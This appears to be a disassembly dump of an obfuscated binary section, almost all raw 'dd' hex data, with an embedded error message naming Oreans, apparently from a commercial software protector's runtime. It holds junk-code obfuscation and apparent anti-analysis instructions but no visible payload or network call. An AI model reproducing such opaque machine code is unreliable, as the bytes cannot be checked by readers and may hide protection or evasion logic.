dd 0FE8h, 0F859EC00h, 0FC12B395h, 0ED572A5Fh, 756B429Ah
dd 5440E781h, 8D5A6958h, 21A8EB85h, 0C9B70F06h, 6AD0FFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 0A38339C3h, 81006A7Eh, 0AD1F14F1h, 0E195FF2Eh, 0B2061F0Eh
dd 80C08BA5h, 0BD8383E1h, 61F06C1h, 83097500h, 1F1F51BDh
dd 19740006h, 0C08B5350h, 7D9B8h, 65858900h, 8D061F0Fh
dd 21AFA49Dh, 5BD3FF06h, 51BD8358h, 61F1Fh, 53501774h
dd 7D9B8h, 65858900h, 8D061F0Fh, 21AC939Dh, 5BD3FF06h
dd 41858958h, 0F061F15h, 683h, 91858900h, 8B061F13h, 0EE9C0h
dd 0A2570000h, 4F30E161h, 3FB7A9F4h, 0E3230C8Bh, 518D8B50h
dd 8B061F31h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 0C6BE9F01h, 610904C4h, 9E90FFEh
dd 0A7000000h, 1DA05D6h, 85418ACCh, 0F99D8D53h, 8B061F31h
dd 8B038903h, 43895043h, 0D89D8D50h, 8B062202h, 5B038903h
dd 9FAB70Fh, 1F1541B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 0FE0F62C5h, 0C2D223ADh
dd 0D59D8941h, 60061F1Eh, 6A61D48Ah, 0FFC3BF00h, 858D3EDBh
dd 62202D8h, 0C8E0Fh, 8E0F0000h, 6, 31919529h, 8501061Fh
dd 61F1AF9h, 79C28150h, 6A33E1C4h, 0CEBF0F60h, 31F9858Dh
dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 120319C3h, 3432EF2Ch, 93F1BA66h, 55006A50h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0D9E5B96Ch, 323B2F11h, 0B1B589A8h, 6A061F31h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0DB904F4h, 0FC949DA6h, 8F0F006Ah, 16h, 11E9h, 0DA6EBA00h
dd 77B5B91Ch, 0CF13FA13h, 1265CBCFh, 68D9AEh, 53000018h
dd 95FFEE8Ah, 61F0881h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0B9C35040h, 48E18992h, 89A78D09h, 1F2D899Dh
dd 36CA8106h, 0FF6AAD06h, 1F107595h, 0FEB70F06h, 33FB5FFh
dd 6FBA0622h, 0FF7C267Fh, 1F2D5995h, 4DBD8B06h, 8D061F1Fh
dd 1F31F985h, 0DD8D8B06h, 89061F13h, 1F0B4DBDh, 18408B06h
dd 5AEA8166h, 3985C702h, 61F12h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 136AC356h
dd 4B1CEC7Fh, 8B314403h, 0C1BD83CBh, 61F32h, 38840Fh, 958B0000h
dd 61F13F9h, 8C3Dh, 0E9830F00h, 0B5000001h, 2FE9D5h, 33570000h
dd 1F32BD95h, 8A0F5F06h, 12h, 0DE9h, 6D18A000h, 28A29CB4h
dd 8F034445h, 963D5926h, 0F000000h, 1B783h, 89B96600h
dd 9F858D82h, 0E9005AF5h, 0Bh, 0D09E75C9h, 6EA06E20h, 0FF475C20h
dd 95958BD0h, 8D061F0Fh, 5AEFF285h, 0B9853100h, 0FF061F31h
dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 897F9B57h, 1F129585h, 83C08B06h, 1F06C1BDh
dd 9750006h, 1F51BD83h, 7400061Fh, 8B535019h, 0BC6B8C0h
dd 85890000h, 61F0F65h, 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh
dd 61F1F51h, 50177400h, 0BC6B853h, 85890000h, 61F0F65h
dd 0AC939D8Dh, 0D3FF0621h, 8B60585Bh, 859589D9h, 61061F05h
dd 158589h, 0C08B061Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0FBC35141h, 63047671h, 0FFF883F9h, 60850Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 6D2316C3h, 0AD9D295Dh, 0C7061F16h, 1F2A5585h
dd 6, 0A58D8900h, 0E9061F02h, 153h, 0E9D6BF0Fh, 5Fh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AC35545h, 0F883A210h
dd 38850F01h, 29000000h, 1F2C4D8Dh, 141E906h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 9D2386C3h, 890D630Fh, 1F015D8Dh, 71B52906h, 0E9061F15h
dd 0FFFFF260h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 39C35545h, 6026A3ABh, 8A5BDF80h, 7E861F4h, 8A000000h
dd 10EB21C7h, 5AF86E9Dh, 9D89C08Bh, 61F1D11h, 6C1BD83h
dd 7500061Fh, 51BD8309h, 61F1Fh, 53501974h, 0DDB8C08Bh
dd 89000007h, 1F0F6585h, 0A49D8D06h, 0FF0621AFh, 83585BD3h
dd 1F1F51BDh, 17740006h, 0DDB85350h, 89000007h, 1F0F6585h
dd 939D8D06h, 0FF0621ACh, 6A585BD3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FD42C356h
dd 858D333Eh, 6A061F07h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 6C62C356h, 0BD8B6047h
dd 61F2CA5h, 0D388E681h, 8B6168E8h, 558501C0h, 0E9061F10h
dd 233h, 8DFABF0Fh, 2200DC85h, 2840F06h, 8B000000h, 0D48589FAh
dd 0F062202h, 68Ch, 0B9BD8B00h, 0E9061F16h, 75h, 8D9EE180h
dd 21FEE485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0C806E0BEh, 0FE94FC7h, 2000000h
dd 0DDD3C224h, 122A0018h, 0E55827EDh, 6A404972h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 162FC350h, 253DD487h, 8964FBCBh, 1F0299B5h, 0D4858906h
dd 8B062202h, 1F1145BDh, 8D346A06h, 1F0BD985h, 0B5FF5006h
dd 62202D4h, 95FF006Ah, 61F16E5h, 0F07F883h, 16284h, 0DB8C6600h
dd 0F04C3F6h, 0FC85h, 2585C600h, 56061F20h, 0A8B85268h
dd 0D9B5FF9Ch, 8D061F20h, 1F394D85h, 6AD0FF06h, 10006804h
dd 646A0000h, 0D0FF006Ah, 3478589h, 85C60622h, 61F2025h
dd 0AC9B6847h, 0B5FFEC18h, 61F20D9h, 394D858Dh, 0D0FF061Fh
dd 0F08BD0FFh, 202585C6h, 684F061Fh, 0C62F2661h, 1BE5B5FFh
dd 858D061Fh, 61F394Dh, 9D8DD0FFh, 6220343h, 56286A53h
dd 0C085D0FFh, 85C60075h, 61F2025h, 64986841h, 0B5FFDB87h
dd 61F1BE5h, 394D858Dh, 0D0FF061Fh, 3608589h, 85C60622h
dd 61F2025h, 0E7A4684Ch, 0B5FF80A4h, 61F1BE5h, 394D858Dh
dd 0D0FF061Fh, 3479D8Bh, 5B8D0622h, 9D8D5304h, 622034Ch
dd 0FF006A53h, 479D8BD0h, 0C7062203h, 103h, 0C43C700h
dd 2, 1B2985C7h, 61Fh, 6A0000h, 6A006Ah, 3479D8Bh, 6A530622h
dd 43B5FF00h, 0FF062203h, 22036095h, 2585C606h, 45061F20h
dd 0A5F79768h, 51B5FF92h, 8D061F2Ch, 1F394D85h, 6AD0FF06h
dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 479D8B32h, 0C7062203h
dd 0C43h, 6A0000h, 9D8B006Ah, 6220347h, 0FF006A53h, 220343B5h
dd 6095FF06h, 0FF062203h, 220343B5h, 7595FF06h, 6A061F10h
dd 0E195FF00h, 81061F0Eh, 0C0397AC9h, 6FCF8152h, 8D49439Dh
dd 22386D85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 5174C8EDh, 86E7D5C5h, 0BF0F975Bh
dd 0AD8D01FAh, 50061F24h, 0E858D8Bh, 0FF64061Fh, 35h, 0C4E98100h
dd 64067566h, 2589h, 0BD8B0000h, 61F2AF5h, 20F1BD83h, 0F00061Fh
dd 7D84h, 0CE85000h, 3000000h, 23DB03B0h, 0E11C6260h, 89EBC065h
dd 1F0329BDh, 835A5F06h, 1F0EF5BDh, 850F0106h, 56h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CEC35545h, 71739193h
dd 0C9A193DEh, 418D0160h, 3061F0Ah, 1F0FC1BDh, 0BD806106h
dd 6220760h, 17850F00h, 8B000000h, 1F2C2195h, 18BE906h
dd 958B0000h, 61F0891h, 2B6D8D8Bh, 0DB33061Fh, 6800Fh
dd 85310000h, 61F1FEDh, 8A60C033h, 0F58D8BE6h, 61061F19h
dd 73F0F40h, 58F640Bh, 0
dd 6A04C483h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 0E931C353h, 1A7075E3h, 0E9D445B8h
dd 0Ch, 0B63C75h, 29D9CD18h, 704A52D1h, 9D9DBF66h, 7E9h
dd 0CDE64400h, 58D70167h, 0FFFFB83h, 0E84h, 0E1950B00h
dd 0E9061F16h, 0F3h, 0E9D7BF0Fh, 86h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0E5C35646h, 1C21958Bh, 8B66061Fh
dd 244C8BD3h, 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h
dd 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h, 388FED81h
dd 838B0622h, 0B8h, 393D858Dh, 83890622h, 0B8h, 0C3C0335Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 16C35141h
dd 1E1DBD89h, 858D061Fh, 6223885h, 0B199503h, 0F850061Fh
dd 0FF6425B5h, 35h, 0DE800h, 59E10000h, 0C53FB1DBh, 9CE7BBF3h
dd 817A3667h, 591D9CD9h, 89645916h, 25h, 45952900h, 0B9061F0Fh
dd 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h
dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h, 1F2A6185h
dd 106h, 58F6400h, 0
dd 6A04C483h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0CB39C352h, 39444B1Fh, 6D9AC61Ch
dd 3A64F8BAh, 0C0B2604Eh, 61DF8B66h, 0D549C781h, 0C08B31B1h
dd 0BA59589h, 0BF66061Fh, 0BD83D682h, 61F06C1h, 83097500h
dd 1F1F51BDh, 19740006h, 0C08B5350h, 43DB8h, 95858900h
dd 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h, 61F1Fh
dd 53501774h, 43DB8h, 95858900h, 8D061F13h, 21ACAC9Dh
dd 5BD3FF06h, 0F44ABA58h, 0BE94667h, 67000000h, 0B5D2BC70h
dd 0EFE794D2h, 6A5E47h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 4F29FFC3h, 31A63857h, 1F063D9Dh
dd 0E9C08B06h, 13Ah, 4, 35382E31h, 35h, 6 dup(0)
dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
dd 61F1BA1h, 2D840F00h, 8D000001h, 21AAC385h, 858D5006h
dd 621AA2Dh, 16850h, 95FF8000h, 621AAD3h, 3A18858Dh, 8D500622h
dd 223A2285h, 6A5006h, 858D006Ah, 621AA41h, 0C3B5FF50h
dd 0FF0621AAh, 1F312595h, 18858D06h, 5006223Ah, 3A26858Dh
dd 6A500622h, 8D006A00h, 21AA5385h, 0B5FF5006h, 621AAC3h
dd 312595FFh, 858D061Fh, 6223A18h, 32858D50h, 5006223Ah
dd 6A006Ah, 0AAA0858Dh, 0FF500621h, 21AAC3B5h, 2595FF06h
dd 8D061F31h, 223A1885h, 858D5006h, 6223A3Ah, 6A006A50h
dd 0BE858D00h, 500621AAh, 0AAC3B5FFh, 95FF0621h, 61F3125h
dd 3A18858Dh, 8D500622h, 223A3685h, 6A5006h, 858D006Ah
dd 621AAA7h, 0C3B5FF50h, 0FF0621AAh, 1F312595h, 18858D06h
dd 5006223Ah, 3A2A858Dh, 6A500622h, 8D006A00h, 21AAAF85h
dd 0B5FF5006h, 621AAC3h, 312595FFh, 858D061Fh, 6223A18h
dd 2E858D50h, 5006223Ah, 6A006Ah, 0AAB6858Dh, 0FF500621h
dd 21AAC3B5h, 2595FF06h, 0FF061F31h, 21AAC3B5h, 0F595FF06h
dd 0E9061F2Dh, 0A2h, 0A09BD83h, 0F00061Fh, 9584h, 0F5BD8300h
dd 61F0Eh, 11850Fh, 958B0000h, 61F1BB5h, 1CF8C281h, 0FE90000h
dd 8D000000h, 1F31F995h, 34528B06h, 0C340C281h, 95893BD4h
dd 61F0215h, 215BD83h, 0F00061Fh, 5584h, 159D8B00h, 83061F02h
dd 38B4CC3h, 3A228589h, 9D8B0622h, 61F0215h, 8B50C383h
dd 26858903h, 8B06223Ah, 1F02159Dh, 54C38306h, 8589038Bh
dd 6223A32h, 2159D8Bh, 0C383061Fh, 89038B58h, 223A3685h
dd 159D8B06h, 83061F02h, 38B5CC3h, 3A2A8589h, 0BD830622h
dd 61F1BA1h, 0D850F00h, 83000000h, 1F0A09BDh, 840F0006h
dd 68h, 3A3AB5FFh, 0B5FF0622h, 6223A2Eh, 3A2AB5FFh, 0B5FF0622h
dd 6223A36h, 3A32B5FFh, 0B5FF0622h, 6223A26h, 3A22B5FFh
dd 858D0622h, 6223A1Ch, 54858D50h, 5006223Ah, 365858Dh
dd 0FF50061Fh, 1F00A195h, 24C48306h, 858D406Ah, 6223A3Eh
dd 65858D50h, 50061F03h, 95FF006Ah, 61F16E5h, 95FF016Ah
dd 61F0EE1h, 18EBC18Bh, 9B46F317h, 5 dup(0)
dd 20BE9h, 5C8B6000h, 0E82424h, 5D000000h, 3DDBED81h, 0C2610622h
dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
dd 0F6E90008h, 0FFFFFFh, 0
dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 223E13B5h, 0E68106h
dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 223E17B5h
dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h
dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
dd 61F0215h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h
dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 1F2D7595h, 10F5006h
dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h
dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 61F0215h
dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 215858Bh, 1886061Fh
dd 850FDB0Ah, 0FFFFFFF6h, 206D85C7h, 61Fh, 448B0000h, 988B0824h
dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h
dd 1F206D85h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
dd 29840F04h, 0C7000000h, 223DB885h, 106h, 10F5000h, 8FFE244Ch
dd 223DBC85h, 0B4858D06h, 8D06223Dh, 223DBCBDh, 0E9388906h
dd 23h, 31F9858Dh, 408B061Fh, 0F3170538h, 85899B46h, 6223DB4h
dd 31F9858Dh, 408B061Fh, 0B885893Ch, 8D06223Dh, 223DD185h
dd 75858906h, 0E9061F2Dh, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah
dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
dd 7, 6280630h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah, 0AC000000h
dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 22404485h, 21858906h
dd 8D061F1Fh, 22406C85h, 0AD858906h, 8D061F0Fh, 22409485h
dd 25858906h, 0E8061F11h, 0Eh, 0C075B326h, 0F78D595Bh
dd 0A71312A8h, 9E9B71Fh, 39000000h, 7B08446Ch, 5F3270DDh
dd 81C08158h, 66000060h, 0B944EDBEh, 53D24D31h, 0CAC3C181h
dd 0F08AAC2Dh, 815230FFh, 491831E2h, 665B5A66h, 0C381F78Bh
dd 2D8139F6h, 11E8h, 30044D00h, 54543A68h, 4D144A5Eh, 0C998CAECh
dd 815ACAE7h, 0E68ED5EBh, 0D6816642h, 0EB81217Ah, 2C6C52CAh
dd 8F53FCh, 38E881F5h, 0E824112Ah, 5, 0F677F22Ah, 14E980h
dd 0E28A0000h, 8111533Dh, 0EE05626Bh, 3EB987E1h, 0FABF82E9h
dd 815F65E7h, 112A34C0h, 40BA6624h, 850F4900h, 0FFFFFF84h
dd 0A8F73EBEh, 0E281606Fh, 0DA3F2FFh, 6AC08Bh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 0A2A052C3h, 0B2E4A0C4h, 0C1BD83D9h, 61F06h, 0BD830975h
dd 61F1F51h, 50197400h, 0B8C08B53h, 40Eh, 0F658589h, 9D8D061Fh
dd 621AFA4h, 585BD3FFh, 1F51BD83h, 7400061Fh, 0B8535017h
dd 40Eh, 0F658589h, 9D8D061Fh, 621AC93h, 585BD3FFh, 0FCF8B66h
dd 6AC9BFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0D11384C3h, 0E9F9C08Bh, 5, 0C046032Dh, 0F1BD83C2h
dd 61F20h, 13840Fh, 0D9810000h, 46AF28Ah, 29AE9h, 0E2EA8100h
dd 8A4D2021h, 6ADF8CD5h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 8BDFC350h, 0BEF5BE6Ch
dd 9C4B37DCh, 8820Fh, 870F0000h, 2, 0F7665E57h, 0F0004C7h
dd 25285h, 68D0F00h, 81000000h, 3E12A4C6h, 0D38B663Eh
dd 6AFF2Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 5FC80EC3h, 0D25C5D06h, 8D109415h, 2244B49Dh
dd 9850F06h, 0F000000h, 383h, 0DED68000h, 0AE850h, 0FBC00000h
dd 75E56D1Bh, 0F6F05F62h, 895EF28Bh, 6A241Ch, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 3EAEDC3h
dd 0F83BB5D5h, 64F28B66h, 35FFh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 7CB9B5C3h
dd 72BE667Dh, 13E8E9h, 82050000h, 84663BC3h, 0D044748Dh
dd 9C7216h, 64B8538Eh, 178B0F58h, 0E9000000h, 12h, 874EE59Ch
dd 68C2EDCh, 3ED9E8BCh, 0A7F8EB09h, 645E75EAh, 2589h, 0EA810000h
dd 353AA9AAh, 0B70FC48Bh, 0A9F8B9F0h, 1CD344Bh, 10E800EBh
dd 0AF000000h, 0B2B82162h, 0FC9B0645h, 352C0B6h, 8BB14A3Dh
dd 0E6815AD7h, 43A062CAh, 58F64h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 0D5DAC351h, 4CFCD986h, 0C18822BAh, 9E97Ch, 2720000h
dd 0D577E76Ch, 83C266D1h, 71B904C4h, 0B413DB4h, 0E8840FC0h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 0E6FDC355h, 0E86E2B94h, 5, 28F55897h
dd 77BA666Eh, 0F9615E8Bh, 7110BD8Dh, 6A061Fh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FE959C3h
dd 183h, 0DBEF900h, 0F3761ACh, 48Ch, 0D0BE6600h, 1B8FFh
dd 80600000h, 8166FED6h, 614901E8h, 6AE7FFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 5E5025C3h
dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
dd 83000000h, 0B883h, 335F0200h, 8166C3C0h, 6A6AEEE1h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0E07CC350h, 0FE714D4h, 289h, 61F78B00h, 0CEB70F53h
dd 66C08B59h, 837D07BAh, 1F06C1BDh, 9750006h, 1F51BD83h
dd 7400061Fh, 8B535019h, 40EB8C0h, 85890000h, 61F1395h
dd 0B00B9D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h
dd 40EB853h, 85890000h, 61F1395h, 0ACAC9D8Dh, 0D3FF0621h
dd 14E8585Bh, 8A000000h, 826296A2h, 0E6E05ECAh, 98AAD1D1h
dd 0F60973A9h, 81442952h, 7BC445C2h, 870F5922h, 0
aLLI db '‹À‹Âë',8,0
align 10h
dd 0
dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
dd 61F0EF5h, 9A18858Dh, 88B0622h, 1000888Bh, 0A8B0000h
dd 0FC4A8B66h, 458A8D89h, 0BD830622h, 61F32C1h, 0F840F00h
dd 60000000h, 95FF006Ah, 61F1D45h, 0FFC4E961h, 8966FFFFh
dd 0CEC1FC72h, 72896610h, 4CD5202h, 8685895Ah, 8B062245h
dd 22458AB5h, 10CEC106h, 2728966h, 458AB58Bh, 89660622h
dd 8B61FC72h, 22458685h, 958DC306h, 61F24E9h, 2159589h
dd 9589061Fh, 61F1751h, 175185FFh, 85C6061Fh, 61F2025h
dd 48D86853h, 0B5FFFCB1h, 61F20D9h, 394D858Dh, 0D0FF061Fh
dd 1D458589h, 858D061Fh, 6223DEBh, 14F98589h, 20EB061Fh
dd 8 dup(0)
dd 5DDE9h, 5D1E900h, 78680000h, 0E9062248h, 0FFFD36FAh
dd 22490568h, 36F0E906h, 9968FFFDh, 0E906224Ah, 0FFFD36E6h
dd 224B3568h, 36DCE906h, 0D9FFFFDh, 0ECB97DF4h, 0D2D89C13h
dd 0B5F4B82Fh, 970FD34Ah, 0EDA7F36Ah, 0CC43BEE8h, 0ED64AB08h
dd 0B827F29h, 289F6047h, 623AE65Fh, 0F519B15Bh, 347434BDh
dd 4546A9CDh, 8D0A9C65h, 0BC7CBE57h, 5B0B4BE9h, 7820B24Fh
dd 2EE4B854h, 0CB4A9FD3h, 0CC512813h, 2A7C7094h, 9000000h
dd 0D3A18459h, 4D40F71Fh, 709F14D4h, 0A327D34Ch, 0E15F5E8h
dd 0E801D985h, 0E09425F5h, 688C8330h, 0D5047B2Fh, 36h
dd 0F0467C5Eh, 3A5584B3h, 65F7189Bh, 59F519BDh, 1FD32585h
dd 0D34C41F6h, 0F598144Ah, 0A7E49518h, 4363E783h, 5A0E15F5h
dd 6E90ABE1h, 6658604Eh, 0EC10EFB6h, 0F37CFE75h, 0D3A16F47h
dd 2A4E021Fh, 3FD1307Ah, 0D3A1D09Fh, 1AC4539Fh, 74B0083Eh
dd 4DAEAC8h, 94B85CA3h, 0C23BC6E4h, 594EA502h, 0C86C14A6h
dd 70C62DA4h, 22F6A21Bh, 0AD9FD2D0h, 0F4B367F9h, 0A2D940Bh
dd 21D80E87h, 0F9AE39AAh, 0B18935AEh, 449FD2E8h, 47F36C90h
dd 95EFF77Eh, 0DAD3FF3h, 0A5F1F739h, 4026594Dh, 90D4F435h
dd 3CF08226h, 3911BD6Dh, 0CCA5F23Fh, 0D8E27418h, 3A989549h
dd 0FCFE34BDh, 2D0B7828h, 345D35D1h, 67F0A5F2h, 0F234E3BBh
dd 1EC276A5h, 3521F9A5h, 0B4A5F2h, 0DB7D61DCh, 0FECD7CA5h
dd 0FB1FFFD9h, 75071465h, 8C19D989h, 8939E173h, 0A54DDF20h
dd 90E881h, 0D65F0000h, 0F1EA522Ah, 0B84EF8A5h, 0CED8D00Ah
dd 5ABDE195h, 0D604467Ch, 0D43816F0h, 0B7DA5DB0h, 0E52F923Eh
dd 669C15F5h, 25A22496h, 0F62F53C8h, 9E09C942h, 327CF61h
dd 0A0DDCA8Ah, 0A822C186h, 0A922C64Dh, 9889DA73h, 3256AA44h
dd 4FB0F7BBh, 0FDD0DE8h, 537208F0h, 30Bh, 0AB22DFCDh, 0CA41BEE7h
dd 0E65DA406h, 1788722h, 2198693Dh, 94121BD5h, 8132F66Dh
dd 5553178Eh, 367135ACh, 108952C9h, 0B1598C64h, 74E71F19h
dd 2D6DAh, 65456300h, 0CD8D0A9Ch, 71901ADBh, 390DA9CDh
dd 611FD3A1h, 1FD3A30Dh, 0D3A16235h, 0A1B88C1Fh, 0CE01FD3h
dd 571FD3A2h, 5DEF1097h, 21F591B5h, 925FD3A2h, 0CB77F0A5h
dd 0D5F55B4Dh, 53AA3CF0h, 8C38B1E4h, 0DC128AE7h, 2CD3D494h
dd 1B22188h, 0A1373A6Ch, 27E82h, 956C4000h, 0B44B5A1Eh
dd 0D031793Dh, 0EB149559h, 0BF6B074h, 878E4894h, 0A76BE21Fh
dd 0C88C030Ch, 0E6AA21E0h, 0FEC73EC1h, 5901D985h, 5C9419B1h
dd 0FE467CE9h, 8FD47A25h, 693EEE12h, 923D15C1h, 1CD01FD3h
dd 0A88FE678h, 58C06CE5h, 0CB15F5DAh, 0CEDCA017h, 0A62FBC33h
dd 0F5DA22FAh, 0DD01B525h, 0B847D2Dh, 11A35C4Bh, 5CB34569h
dd 0B43DB6DBh, 0F5D93008h, 0EB0FC325h, 2156C672h, 25D91C18h
dd 526121AEh, 5F832BBDh, 1820EFC3h, 0B2D7602Ch, 68218D39h
dd 0E89C223Ah, 7F8AF6Fh, 0A3DCCE8Eh, 8A4CACAEh, 0D26408BBh
dd 0CB8F062Ah, 0F19123DCh, 323A270Dh, 13EEB878h, 9BBF5063h
dd 219AEF48h, 5C6DF575h, 0D1D89828h, 51118A2Eh, 0A532A956h
dd 6C98701Ch, 772B385Ch, 0FB04A353h, 754DF982h, 0C8385C6Ch
dd 5C6C441Ch, 0EA23D738h, 0E0801236h, 385C6CFCh, 6EE7AA8Dh
dd 7EB452C2h, 9315D52Eh, 9151CA6Eh, 36CBDD16h, 50571B92h
dd 71C61DAFh, 5A1AA31Ch, 0D38EB44Bh, 7DCA5762h, 8E12AED2h
dd 3934A1A7h, 7F53F385h, 0E544A1A6h, 0F6C37866h, 172BA547h
dd 0Ch, 0BE8559A4h, 142E1FD3h, 0B7000000h, 0AE9BC7Ch, 2AD2649Bh
dd 30CFD686h, 0BB9C700Ch, 0A2FD1FD3h, 0DB870095h, 15F5E973h
dd 9E16B0E6h, 6D1F6FD2h, 57E037C9h, 7EFC8126h, 3A4DFA91h
dd 0EA6307ABh, 542CD861h, 0E725F620h, 1E730F33h, 0AB1C132Ah
dd 0AF2990F7h, 69CFA6Ch, 0EAE7h, 100AC00h, 20DFC68Ah, 3CC5E5A9h
